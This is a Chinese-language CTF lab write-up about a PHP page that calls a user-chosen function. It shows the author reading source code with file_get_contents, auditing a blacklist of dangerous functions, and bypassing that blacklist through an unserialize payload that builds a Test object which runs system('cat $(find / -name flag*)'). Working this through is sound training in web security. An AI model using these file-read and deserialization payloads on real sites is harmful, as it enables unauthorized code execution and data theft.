打开靶机后发现页面上有一段警告信息
并且上面的时间会随着当前时间的变化而变化

访问页面源代码发现有两个传参点
html
<p>2026-01-30 06:45:30 am</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</form>
这里定义了func参数是一个接收函数,p参数是函数执行后的内容
抓包后发现传入点在请求体中

调用 PHP 中的 file_get_contents 函数读取源代码
题目提示这个网站是用php搭建的
那就尝试构造payload
html
func=file_get_contents&p=index.php
file_get_contents()函数
file_get_contents() 函数在文件操作中的主要作用是读取本地文件的内容。
发现成功读取到源代码

对源代码进行代码审计
php
$disable_fun = array(
"exec ", "shell_exec ", "system ", "passthru ", "proc_open ",
"show_source ", "phpinfo ", "popen ", "dl ", "eval ", ... // 共30+个危险函数
);
if (in_array($func, $disable_fun)) {
die("Hacker...");
}
过滤了多个能进行命令注入的函数
并替换成空格收尾
php
class Test {
var $p = "Y-m-d h:i:s a ";
var $func = "date ";
function __destruct() {
if ($this->func != " ") {
echo gettime($this->func, $this->p); // 动态调用函数
}
}
}
function gettime($func, $p) {
return $func($p);
}
**__destruct()**在对象销毁时自动触发
gettime() 会执行 func( p),即可控函数调用
利用反序列化进行绕过
黑名单只检查初始func参数,但反序列化后对象属性中的system不会被二次校验
构造一个本地Test对象并以序列化进行输出
php
<?php
class Test {
var $p = "cat $(find / -name flag*)";
var $func = "system";
}
$testObject = new Test();
$serializedResult = serialize($testObject);
echo $serializedResult;
?>
#O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
利用unserialize函数进行反序列化注入
payload如下
php
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

flag{cb6ecf44-2a91-4410-93ec-d53d62844c7f}